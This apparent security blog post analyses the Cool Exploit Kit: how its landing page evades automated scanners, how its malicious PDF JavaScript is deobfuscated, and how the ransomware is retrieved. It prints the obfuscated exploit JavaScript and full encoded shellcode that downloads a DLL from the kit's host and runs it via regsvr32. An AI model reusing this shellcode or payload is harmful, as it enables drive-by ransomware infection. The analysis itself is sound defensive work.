A Quick Look at “Cool Exploit Kit”

I ran across the Cool Exploit Kit while playing with malware pages yesterday as the Patriots were blowing out the Texans on Monday Night Football.  This is a quick write up to cover some of the interesting results from going through it.  After getting to the malware, I was able to find another posting on it.  What I thought was a fairly wimpy kit turned out to be well designed to address many of the automated means to evaluate JavaScript:
  1. It refused to download from a non-vulnerable IE browser
  2. Wepawet found the page, the malicious PDF’s and swf all benign (They have corrected the issue for the landing page, kudos for their fast response).
  3. The malware downloaded was ransom-ware to which Virus Total was 6/40, and was not deterministic in its results
Refusing to Load via Google Chrome
I have a tendency to evaluate exploit pages by hand, as opposed to using Mazilla or Google Chrome Developer Tools.  But last night I felt like playing with Google Chrome Developer Toolkit because a blogger mentioned that addressing obfuscated malware was as simple as running it. When going through some bad links from malware domain list, I did find that it was somewhat easy.
However, many exploit kit authors know that people use automated tools.  The Chrome kit often did not work, and required setting a break point and then examining the variable which was being evaluated. This is a good trick when it works, for many of the exploits are now being designed with page environmental data that when doing by hand requires changing the DOM to a variable name.  Page Environmental aware malware means that running the page outside a browser by stripping the script will fail.
When we examine a variable, as in the example below, the variable will contain a layer of de obfuscated code that is being placed in to the obfuscated eval function.  This does require you to know how to eye code to see which variable to examine.
Google Chrome on Malicious Page

Google Chrome on Malicious Page

However, not all sites seem to be willing to provide a page if the browser is Chrome.  And this is the case for this version of Cool Exploit Kit.  The server responded with an empty title, head and body.
Cool has no data in Chrome

Cool has no data in Chrome

Does this mean that there is no page there, maybe it was already taken down?  So I tried with what I normally do, curl with a fake IE 8 header.  Heading the results I see that I do get the page.
$ curl -K curl.config "hxxp://private.hotelcesenaticobooking.info/r/l/updating-bugs_keeping.php" -o testthis.index
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 35309    0 35309    0     0  17753      0 --:--:--  0:00:01 --:--:-- 20564
$ head testthis.index
<html>
     <head>
          <title>Hello my friend...</title>
          <style>@font-face{font-family:'p1';src:url('../32size_font.eot');}#asdqwe{font-size:5px;line-height:normal;font-family:'p1';position:absolute;top:0px;left:0px;}</style>
     </head>
     <body>
          <div id="asdqwe"><span>:)</span></div>

          <script>
               zxc="onDetectionDone";
Letting WepaWet Try
What is this stuff?  I do get lazy at times so I passed it onto WepaWet.  It reported a benign page.
WepaWet sees that page as benign

WepaWet sees that page as benign

We can see from the analysis part of wepawet that it did get the page.
WepaWet did get the page

WepaWet did get the page

The page is not obfuscated, just ugly.  JS Beautifier helps, and so I quickly ripped out the links by hand, downloaded the objects that the links pointed to and evaluated the PDF’s and SWF files in WepaWet too.  This also proved to be considered benign.  Impressive that all the pages and objects were coming up safe.
Looking at the “old” PDF object
Looking at how the exploits were set up in the page, there were two PDF’s being downloaded, one called “new” the other “old”.  New was obviously the new Adobe attack that was new a couple of months ago.

  function ShowPDF() {
                    var pdf = (pdd.getVersion("AdobeReader") + ".").toString()["split"](".");
                    var vver = "";
                    if (pdf[0] < 8) {
                        vver = "old";
                        setTimeout("flfl()", 8003);
                    } else if (pdf[0] == 8 || (pdf[1] < 4 && pdf[0] == 9)) {
                        vver = "new";
                        setTimeout("flfl()", 7004);
                    } else {
                        flfl();
                    }
                    if (vver != "") {
                        var d = document.createElement("span");
                        d.innerHTML = '<' + 'object data="../media/pdf_' + vver + '.php" type="application/pdf"></object>';
                        document.body.appendChild(d);
                    }
                }
We can then retrieve this file:
$ curl -K curl.config "hxxp://private.hotelcesenaticobooking.info/r/media/pdf_old.php" -o testthis.old
$ file testthis.old
testthis.old: PDF document, version 1.4
I then used Origami to go through the objects.  Its not hard to find the big chunk of JavaScript, never mind one with a huge variable in it.
> pdf[19]
19 0 obj
<<
     /JS (\r\ntry{app.newDoc\(\);}catch\(gdsgdsg\){xx='a';}\r\na='353d3m3'+xx+'1u18163o1p1k1n1n163o3936381l163o1p1m3936163o1o1m381l163o381q1k1l163o1k1k1m39163o1n1l361h163o1l1h1p35163o1p351k1h163o1h361l1h163o1o1h1p35163o1m1n1i36163o1o1n1p35163o1k1k1h1p163o1n1n3735163o1m381p… skipping ...
o3h383m36343j3819353d3m3'+xx+'1'+xx+'1s3q3b3c3f3819371f3f383h3'+xx+'3n3b1t1u1h3r1p1h1h1h1'+xx+'3u371c1u3741371u371f3m3o353m3n3l191h1d1h3r1p1h1h1h1e381f3f383h3'+xx+'3n3b1'+xx+'1s393i3l19391u1h1s391t1j1q1h1h1s391c1c1'+xx+'3u362t39301u371c384134191'+xx+'1s34191'+xx+'1s3n3l3s3u3n3b3c3m1f3g38373c341f3h383q2i3f343s383l193h3o3f3f1'+xx+'4136343n363b19381'+xx+'3u4134191'+xx+'4141';\r\ns='';\r\np=parseInt;\r\nfor\(i=0;i<a.length;i+=2\){\r\n     jj = 0;\r\n     if\(\(app.newDoc+'asd'\)['substr']\(1,3\)=='fun'\){jj=1}\r\n     if \(jj==1\) s+=String.fromCharCode\(p\(a[i]+a[i+01],31\)\);\r\n}\r\nev=String.fromCharCode\(100+1,118,97,108\);\r\nif\(020!==0x10\)ev=13;\r\nt=/*//#^@^#'36226'*/this;\r\nt[\(jj\)?ev:0]\(s\);\r\n)
This I deobfuscated with Google v8.  I use to just drop the whole code in and look at the output.  Nowadays, I place each line into the v8 shell (or node js) and run it.  That way I can examine the impact of each piece and make adjustments accordingly.  The above sample shows that this is a simple fromCharCode with a math function encoder.  There is a test line in it to prevent non-IE JavaScript from working correctly.  One just needs to simply cut it out and run (hence the interpreter shell).
The de-obfuscate JavaScript starts with what I am looking for, a huge unicode string:
'bjsg=\'%u8366%ufce4%u85fc%u75e4%ue934%u335f%u64c0%u408b%u8b30%u0c40%u708b%u561c%u768b%u3308%u66db%u5e8b%u033c%u3374%u812c%u15ee%uff10%ub8ff%u408b%uc330%u3946%u7506%u87fb%u2434%ue485%u5175%uebe9%u514c%u8b56%u3c75%u748b%u7835%uf503%u8b56%u2076%uf503%uc933%u4149%uadfc%uc503%udb33%ube0f%u3810%u74f2%uc108%u0dcb%uda03%ueb40%u3bf1%u751f%u5ee6%u5e8b%u0324%u66dd%u0c8b%u8d4b%uec46%u54ff%u0c24%ud88b%udd03%u048b%u038b%uabc5%u595e%uebc3%uad53%u688b%u8020%u0c7d%u7433%u9603%uf3eb%u688b%u8b08%u6af7%u5905%u98e8%uffff%ue2ff%ue8f9%u0000%u0000%u5058%u406a%uff68%u0000%u5000%uc083%u5019%u8b55%u8bec%u105e%uc383%uff05%u68e3%u6e6f%u0000%u7568%u6c72%u546d%u16ff%uc483%u8b08%ue8e8%uff61%uffff%u02eb%u72eb%uec81%u0104%u0000%u5c8d%u0c24%u04c7%u7224%u6765%uc773%u2444%u7604%u3372%uc732%u2444%u2008%u732d%u5320%uf868%u0000%uff00%u0c56%ue88b%uc933%uc751%u1d44%u7700%u6270%uc774%u1d44%u2e05%u6c64%uc66c%u1d44%u0009%u8a59%u04c1%u8830%u1d44%u4104%u6a51%u6a00%u5300%u6a57%uff00%u1456%uc085%u1675%u006a%uff53%u0456%u006a%ueb83%u530c%u56ff%u8304%u0cc3%u02eb%u13eb%u8047%u003f%ufa75%u8047%u003f%uc475%u006a%ufe6a%u56ff%ue808%ufe9c%uffff%u4e8e%uec0e%ufe98%u0e8a%u6f89%ubd01%uca33%u5b8a%uc61b%u7946%u1a36%u702f%u7468%u7074%u2f3a%u702f%u6972%u6176%u6574%u682e%u746f%u6c65%u6563%u6573%u616e%u6974%u6f63%u6f62%u6b6f%u6e69%u2e67%u6e69%u6f66%u722f%u662f%u702e%u7068%u6b3f%u373d%u0000\';
function ezvr(ra,qy)
{
  while(ra.length*2<qy)
   {ra+=ra}ra=ra.substring(0,qy/2);
  return ra
}
I wrote a ruby script to help me deal with unicode.
#!/usr/bin/env ruby

#
# Crappy code by Chris Jordan ... (c) 2012
#
# An example of what a unicode file might look like:
# %u8366%ufce4%u85fc%u75e4%ue934%u335f%u64c0%u408b%u8b30%u0c40%u708b%u561c%u768b%u3308%u66db%u5e8b%u033c%u3374%u812c%u15ee%uff10%ub8ff%u408b%uc330%u3946%u7506%u87fb%u2434%ue485%u5175%uebe9%u514c%u8b56%u3c75%u748b%u7835%uf503%u8b56%u2076%uf503%uc933%u4149%uadfc%uc503%udb33%ube0f%u3810%u74f2%uc108%u0dcb%uda03%ueb40%u3bf1%u751f%u5ee6%u5e8b%u0324%u66dd%u0c8b%u8d4b%uec46%u54ff%u0c24%ud88b%udd03%u048b%u038b%uabc5%u595e%uebc3%uad53%u688b%u8020%u0c7d%u7433%u9603%uf3eb%u688b%u8b08%u6af7%u5905%u98e8%uffff%ue2ff%ue8f9%u0000%u0000%u5058%u406a%uff68%u0000%u5000%uc083%u5019%u8b55%u8bec%u105e%uc383%uff05%u68e3%u6e6f%u0000%u7568%u6c72%u546d%u16ff%uc483%u8b08%ue8e8%uff61%uffff%u02eb%u72eb%uec81%u0104%u0000%u5c8d%u0c24%u04c7%u7224%u6765%uc773%u2444%u7604%u3372%uc732%u2444%u2008%u732d%u5320%uf868%u0000%uff00%u0c56%ue88b%uc933%uc751%u1d44%u7700%u6270%uc774%u1d44%u2e05%u6c64%uc66c%u1d44%u0009%u8a59%u04c1%u8830%u1d44%u4104%u6a51%u6a00%u5300%u6a57%uff00%u1456%uc085%u1675%u006a%uff53%u0456%u006a%ueb83%u530c%u56ff%u8304%u0cc3%u02eb%u13eb%u8047%u003f%ufa75%u8047%u003f%uc475%u006a%ufe6a%u56ff%ue808%ufe9c%uffff%u4e8e%uec0e%ufe98%u0e8a%u6f89%ubd01%uca33%u5b8a%uc61b%u7946%u1a36%u702f%u7468%u7074%u2f3a%u772f%u7777%u2e32%u656c%u6461%u6e69%u7767%u7261%u2e65%u7375%u772f%u702e%u7068%u663f%u353d%u3261%u6530%u6526%u373d%u0000
#   Use by placin the unicode into a file and then providing it as an argument.

unicode = ARGF.read

def u2b(unicode)

  step1 = unicode.split("%u")
  s = Array.new;
  step1.each do |element|
    if element.length == 4
      s.push(element[2..3].to_i(16))
      s.push(element[0..1].to_i(16))
    end
  end
  return s.pack("C*")
end

STDOUT.write u2b(unicode)

I can  just convert the unicode using the above script into a binary file and “strings” it.

$ ruby u2b.rb latest.uu > latest.bin
$ strings latest.bin
}
 3t
XPj@h
hurlmT
$regs
vr32
 -s Sh
wpbt
.dll
/phxxp://private.hotelcesenaticobooking.info/r/f.php?k=7
You can see the DLL ($regsvr32 -s wpbt.dll) if you look hard enough, and it you open the binary in a hex editor you will also see the urlmon (as the “on” part is too small of a string for the default strings command).  This type of shell code will have a string http request.  Doing one last curl we get the executable file.
The Malware
At this point we can send off the file to Virus Total, Anibus, and Threat Experts.  The first two strike out, but Threat Expert gives us a clue of what we are looking at:
Threat Experts Snippet

Threat Experts Snippet

I then was able (with some of the other clues in Threat Expert) find a Microsoft posting about the malware.
It turns out to be ransom ware.  This is also confirmed through a number of sites to include the original link I find on Cool EK.
Summary
I skipped over a number of things in rushing from the exploit page to the malware.  Much of what I have been documenting in a book that I am almost done with, and which I need to find a publisher for distribution. If I have time with this example, I will hopefully fill in more details with later blogs.
This is a good example of why doing things by hand pays off.  Automation is important, but you cannot rely on it.

Comments

  1. Marco Cova says:

    Great analysis!

    Wepawet should now able to analyze these pages correctly: http://wepawet.cs.ucsb.edu/view.php?hash=2d61b40c54b61d85d5839a3f59393a37&t=1355259311&type=js
    (before the malicious Java applet was not retrieved and analyzed)

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s

%d bloggers like this: